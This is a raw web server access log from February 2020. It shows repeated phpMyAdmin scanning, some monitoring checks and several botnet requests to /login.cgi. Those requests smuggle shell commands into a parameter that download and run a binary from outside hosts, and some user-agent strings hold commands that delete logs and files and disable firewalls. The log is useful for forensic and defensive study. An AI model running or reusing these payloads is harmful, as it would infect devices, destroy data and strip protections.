211.21.102.246 - - [17/Feb/2020:02:30:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:20 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:22 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:23 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:24 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:25 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:26 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:27 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:29 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:30 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:30 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:30 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:30 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:31 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:31 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:31 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:31 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:32 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:33 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:35 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:35 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:35 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:35 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:35 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:36 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:36 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:36 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:36 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:38 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:38 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:38 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:40 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:40 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:40 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:42 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:42 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:02:30:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:31:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.56.225.104 - - [17/Feb/2020:02:32:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
45.83.65.71 - - [17/Feb/2020:02:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [17/Feb/2020:02:32:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [17/Feb/2020:02:32:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:02:33:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:02:33:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:02:33:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [17/Feb/2020:02:33:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:02:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.161.206.79 - - [17/Feb/2020:02:34:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
